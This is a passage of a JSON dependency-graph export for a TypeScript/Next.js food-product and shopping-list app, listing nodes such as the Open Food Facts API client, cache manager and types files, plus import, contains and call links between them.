- "norm_label": ".loadcache()"
- },
- {
- "label": ".saveCache()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L89",
- "id": "lib_jsoncachemanager_jsoncachemanager_savecache",
- "community": 6,
- "norm_label": ".savecache()"
- },
- {
- "label": ".convertToCachedProduct()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L111",
- "id": "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct",
- "community": 6,
- "norm_label": ".converttocachedproduct()"
- },
- {
- "label": ".convertToAPIProduct()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L125",
- "id": "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct",
- "community": 6,
- "norm_label": ".converttoapiproduct()"
- },
- {
- "label": ".mergeProductData()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L134",
- "id": "lib_jsoncachemanager_jsoncachemanager_mergeproductdata",
- "community": 6,
- "norm_label": ".mergeproductdata()"
- },
- {
- "label": ".getProductByCode()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L188",
- "id": "lib_jsoncachemanager_jsoncachemanager_getproductbycode",
- "community": 6,
- "norm_label": ".getproductbycode()"
- },
- {
- "label": ".searchProducts()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L211",
- "id": "lib_jsoncachemanager_jsoncachemanager_searchproducts",
- "community": 6,
- "norm_label": ".searchproducts()"
- },
- {
- "label": ".saveProduct()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L289",
- "id": "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "community": 6,
- "norm_label": ".saveproduct()"
- },
- {
- "label": ".getStorageStats()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L384",
- "id": "lib_jsoncachemanager_jsoncachemanager_getstoragestats",
- "community": 6,
- "norm_label": ".getstoragestats()"
- },
- {
- "label": ".clearCache()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L431",
- "id": "lib_jsoncachemanager_jsoncachemanager_clearcache",
- "community": 6,
- "norm_label": ".clearcache()"
- },
- {
- "label": ".isInitialized()",
- "file_type": "code",
- "source_file": "lib/jsonCacheManager.ts",
- "source_location": "L450",
- "id": "lib_jsoncachemanager_jsoncachemanager_isinitialized",
- "community": 6,
- "norm_label": ".isinitialized()"
- },
- {
- "label": "openFoodFactsApi.ts",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L1",
- "id": "lib_openfoodfactsapi_ts",
- "community": 7,
- "norm_label": "openfoodfactsapi.ts"
- },
- {
- "label": "Product",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L6",
- "id": "lib_openfoodfactsapi_product",
- "community": 6,
- "norm_label": "product"
- },
- {
- "label": "SearchResult",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L34",
- "id": "lib_openfoodfactsapi_searchresult",
- "community": 7,
- "norm_label": "searchresult"
- },
- {
- "label": "CONFIG",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L43",
- "id": "lib_openfoodfactsapi_config",
- "community": 7,
- "norm_label": "config"
- },
- {
- "label": "NutriScanError",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L54",
- "id": "lib_openfoodfactsapi_nutriscanerror",
- "community": 8,
- "norm_label": "nutriscanerror"
- },
- {
- "label": "makeApiRequest()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L64",
- "id": "lib_openfoodfactsapi_makeapirequest",
- "community": 7,
- "norm_label": "makeapirequest()"
- },
- {
- "label": "searchByBarcode()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L99",
- "id": "lib_openfoodfactsapi_searchbybarcode",
- "community": 7,
- "norm_label": "searchbybarcode()"
- },
- {
- "label": "searchByName()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L118",
- "id": "lib_openfoodfactsapi_searchbyname",
- "community": 7,
- "norm_label": "searchbyname()"
- },
- {
- "label": "fetchAllResults()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L138",
- "id": "lib_openfoodfactsapi_fetchallresults",
- "community": 7,
- "norm_label": "fetchallresults()"
- },
- {
- "label": "sortProducts()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L175",
- "id": "lib_openfoodfactsapi_sortproducts",
- "community": 7,
- "norm_label": "sortproducts()"
- },
- {
- "label": "calculateCompletenessScore()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L218",
- "id": "lib_openfoodfactsapi_calculatecompletenessscore",
- "community": 7,
- "norm_label": "calculatecompletenessscore()"
- },
- {
- "label": "getGradeValue()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L231",
- "id": "lib_openfoodfactsapi_getgradevalue",
- "community": 7,
- "norm_label": "getgradevalue()"
- },
- {
- "label": "formatNutritionData()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L239",
- "id": "lib_openfoodfactsapi_formatnutritiondata",
- "community": 0,
- "norm_label": "formatnutritiondata()"
- },
- {
- "label": "detectSearchType()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L264",
- "id": "lib_openfoodfactsapi_detectsearchtype",
- "community": 7,
- "norm_label": "detectsearchtype()"
- },
- {
- "label": "isValidBarcode()",
- "file_type": "code",
- "source_file": "lib/openFoodFactsApi.ts",
- "source_location": "L269",
- "id": "lib_openfoodfactsapi_isvalidbarcode",
- "community": 7,
- "norm_label": "isvalidbarcode()"
- },
- {
- "label": "prisma.ts",
- "file_type": "code",
- "source_file": "lib/prisma.ts",
- "source_location": "L1",
- "id": "lib_prisma_ts",
- "community": 12,
- "norm_label": "prisma.ts"
- },
- {
- "label": "prisma",
- "file_type": "code",
- "source_file": "lib/prisma.ts",
- "source_location": "L3",
- "id": "lib_prisma_prisma",
- "community": 12,
- "norm_label": "prisma"
- },
- {
- "label": "searchUtils.ts",
- "file_type": "code",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L1",
- "id": "lib_searchutils_ts",
- "community": 6,
- "norm_label": "searchutils.ts"
- },
- {
- "label": "calculateRelevanceScore()",
- "file_type": "code",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L6",
- "id": "lib_searchutils_calculaterelevancescore",
- "community": 6,
- "norm_label": "calculaterelevancescore()"
- },
- {
- "label": "sortByRelevance()",
- "file_type": "code",
- "source_file": "lib/searchUtils.ts",
- "source_location": "L42",
- "id": "lib_searchutils_sortbyrelevance",
- "community": 6,
- "norm_label": "sortbyrelevance()"
- },
- {
- "label": "types.ts",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L1",
- "id": "lib_types_ts",
- "community": 3,
- "norm_label": "types.ts"
- },
- {
- "label": "ProductFilters",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L6",
- "id": "lib_types_productfilters",
- "community": 3,
- "norm_label": "productfilters"
- },
- {
- "label": "FilterOption",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L56",
- "id": "lib_types_filteroption",
- "community": 3,
- "norm_label": "filteroption"
- },
- {
- "label": "NutritionGrade",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L64",
- "id": "lib_types_nutritiongrade",
- "community": 3,
- "norm_label": "nutritiongrade"
- },
- {
- "label": "NovaGroup",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L71",
- "id": "lib_types_novagroup",
- "community": 3,
- "norm_label": "novagroup"
- },
- {
- "label": "SortOption",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L78",
- "id": "lib_types_sortoption",
- "community": 10,
- "norm_label": "sortoption"
- },
- {
- "label": "FilterState",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L85",
- "id": "lib_types_filterstate",
- "community": 3,
- "norm_label": "filterstate"
- },
- {
- "label": "FilterSidebarProps",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L92",
- "id": "lib_types_filtersidebarprops",
- "community": 3,
- "norm_label": "filtersidebarprops"
- },
- {
- "label": "POPULAR_CATEGORIES",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L237",
- "id": "lib_types_popular_categories",
- "community": 3,
- "norm_label": "popular_categories"
- },
- {
- "label": "POPULAR_CATEGORIES_WITH_ICONS",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L253",
- "id": "lib_types_popular_categories_with_icons",
- "community": 3,
- "norm_label": "popular_categories_with_icons"
- },
- {
- "label": "COMMON_ALLERGENS",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L269",
- "id": "lib_types_common_allergens",
- "community": 3,
- "norm_label": "common_allergens"
- },
- {
- "label": "COMMON_ADDITIVES",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L282",
- "id": "lib_types_common_additives",
- "community": 3,
- "norm_label": "common_additives"
- },
- {
- "label": "PaginationState",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L293",
- "id": "lib_types_paginationstate",
- "community": 3,
- "norm_label": "paginationstate"
- },
- {
- "label": "PaginationConfig",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L302",
- "id": "lib_types_paginationconfig",
- "community": 3,
- "norm_label": "paginationconfig"
- },
- {
- "label": "CacheProgress",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L309",
- "id": "lib_types_cacheprogress",
- "community": 3,
- "norm_label": "cacheprogress"
- },
- {
- "label": "SearchCacheConfig",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L318",
- "id": "lib_types_searchcacheconfig",
- "community": 3,
- "norm_label": "searchcacheconfig"
- },
- {
- "label": "PaginationProps",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L325",
- "id": "lib_types_paginationprops",
- "community": 3,
- "norm_label": "paginationprops"
- },
- {
- "label": "CachedProduct",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L337",
- "id": "lib_types_cachedproduct",
- "community": 6,
- "norm_label": "cachedproduct"
- },
- {
- "label": "StorageStats",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L369",
- "id": "lib_types_storagestats",
- "community": 3,
- "norm_label": "storagestats"
- },
- {
- "label": "CacheSearchResult",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L376",
- "id": "lib_types_cachesearchresult",
- "community": 3,
- "norm_label": "cachesearchresult"
- },
- {
- "label": "CacheFile",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L383",
- "id": "lib_types_cachefile",
- "community": 3,
- "norm_label": "cachefile"
- },
- {
- "label": "ImageLoadTask",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L410",
- "id": "lib_types_imageloadtask",
- "community": 3,
- "norm_label": "imageloadtask"
- },
- {
- "label": "ImageLoadingState",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L418",
- "id": "lib_types_imageloadingstate",
- "community": 3,
- "norm_label": "imageloadingstate"
- },
- {
- "label": "UseOptimizedImageLoadingOptions",
- "file_type": "code",
- "source_file": "lib/types.ts",
- "source_location": "L426",
- "id": "lib_types_useoptimizedimageloadingoptions",
- "community": 3,
- "norm_label": "useoptimizedimageloadingoptions"
- },
- {
- "label": "utils.ts",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L1",
- "id": "lib_utils_ts",
- "community": 0,
- "norm_label": "utils.ts"
- },
- {
- "label": "cn()",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L4",
- "id": "lib_utils_cn",
- "community": 0,
- "norm_label": "cn()"
- },
- {
- "label": "perfCache",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L9",
- "id": "lib_utils_perfcache",
- "community": 0,
- "norm_label": "perfcache"
- },
- {
- "label": "debounce()",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L12",
- "id": "lib_utils_debounce",
- "community": 3,
- "norm_label": "debounce()"
- },
- {
- "label": "memoize()",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L25",
- "id": "lib_utils_memoize",
- "community": 0,
- "norm_label": "memoize()"
- },
- {
- "label": "measurePerformance()",
- "file_type": "code",
- "source_file": "lib/utils.ts",
- "source_location": "L46",
- "id": "lib_utils_measureperformance",
- "community": 0,
- "norm_label": "measureperformance()"
- },
- {
- "label": "rybbit.d.ts",
- "file_type": "code",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L1",
- "id": "lib_types_rybbit_d_ts",
- "community": 13,
- "norm_label": "rybbit.d.ts"
- },
- {
- "label": "RybbitTrackEvent",
- "file_type": "code",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L6",
- "id": "types_rybbit_d_rybbittrackevent",
- "community": 13,
- "norm_label": "rybbittrackevent"
- },
- {
- "label": "Rybbit",
- "file_type": "code",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L19",
- "id": "types_rybbit_d_rybbit",
- "community": 13,
- "norm_label": "rybbit"
- },
- {
- "label": "Window",
- "file_type": "code",
- "source_file": "lib/types/rybbit.d.ts",
- "source_location": "L24",
- "id": "types_rybbit_d_window",
- "community": 13,
- "norm_label": "window"
- }
- ],
- "links": [
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "postcss.config.mjs",
- "source_location": "L2",
- "weight": 1.0,
- "source": "postcss_config_mjs",
- "target": "lib_openfoodfactsapi_config",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "tailwind.config.ts",
- "source_location": "L3",
- "weight": 1.0,
- "source": "tailwind_config_ts",
- "target": "lib_openfoodfactsapi_config",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "lib_prisma_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "app_actions_verificarlista",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L28",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "app_actions_criaritens",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L55",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "app_actions_listarprodutos",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L70",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "app_actions_deletarproduto",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/actions.ts",
- "source_location": "L87",
- "weight": 1.0,
- "source": "app_actions_ts",
- "target": "app_actions_togglecomprado",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_actions_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/IdInput.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "components_ui_input_tsx",
- "target": "app_actions_verificarlista",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListHeader.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_components_listheader_tsx",
- "target": "app_actions_verificarlista",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_actions_verificarlista",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L18",
- "weight": 1.0,
- "source": "id_page_listapage",
- "target": "app_actions_verificarlista"
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/Main.tsx",
- "source_location": "L13",
- "weight": 1.0,
- "source": "app_components_main_tsx",
- "target": "app_actions_criaritens",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/CardList.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_components_cardlist_tsx",
- "target": "app_actions_listarprodutos",
- "confidence_score": 1.0
- },
- {
- "relation": "calls",
- "context": "call",
- "confidence": "EXTRACTED",
- "confidence_score": 1.0,
- "source_file": "app/components/CardList.tsx",
- "source_location": "L20",
- "weight": 1.0,
- "source": "components_cardlist_cardlist",
- "target": "app_actions_listarprodutos"
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/DeleteButton.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "app_components_deletebutton_tsx",
- "target": "app_actions_deletarproduto",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/components/ListaProductCard.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_components_listaproductcard_tsx",
- "target": "app_actions_togglecomprado",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_providers_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_providers_themeprovider",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_components_errorboundary_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "components_errorboundary_errorboundary",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_components_errortracking_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_layout_inter",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_layout_metadata",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/layout.tsx",
- "source_location": "L73",
- "weight": 1.0,
- "source": "app_layout_tsx",
- "target": "app_layout_rootlayout",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/sobre/page.tsx",
- "source_location": "L12",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_layout_metadata",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_header_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L1",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_header_header",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_footer_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_footer_footer",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_landing_hero_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_hero_hero",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_landing_features_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L4",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_features_feature",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_howitworks_howitworks",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L6",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_donationsection_donationsection",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L7",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "landing_trustbadges_trustbadges",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/page.tsx",
- "source_location": "L9",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_page_home",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_main_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L2",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_main_main",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_cardlist_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L3",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_cardlist_cardlist",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L14",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_theme_toggle_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_listheader_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L5",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "components_listheader_listheader",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L10",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "id_page_listapageprops",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/lista/[id]/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "id_page_listapage",
- "confidence_score": 1.0
- },
- {
- "relation": "imports_from",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L37",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_openfoodfactsapi_ts",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_openfoodfactsapi_searchbybarcode",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/resultados/page.tsx",
- "source_location": "L37",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_openfoodfactsapi_product",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L15",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "lib_openfoodfactsapi_formatnutritiondata",
- "confidence_score": 1.0
- },
- {
- "relation": "imports",
- "context": "import",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L16",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "app_components_productskeleton_tsx",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L19",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nutri_bg",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L26",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nutri_ink",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L33",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_grade_desc",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L40",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nova_desc",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
- "source_file": "app/produto/[barcode]/page.tsx",
- "source_location": "L46",
- "weight": 1.0,
- "source": "app_page_tsx",
- "target": "barcode_page_nova_bg",
- "confidence_score": 1.0
- },
- {
- "relation": "contains",
- "confidence": "EXTRACTED",
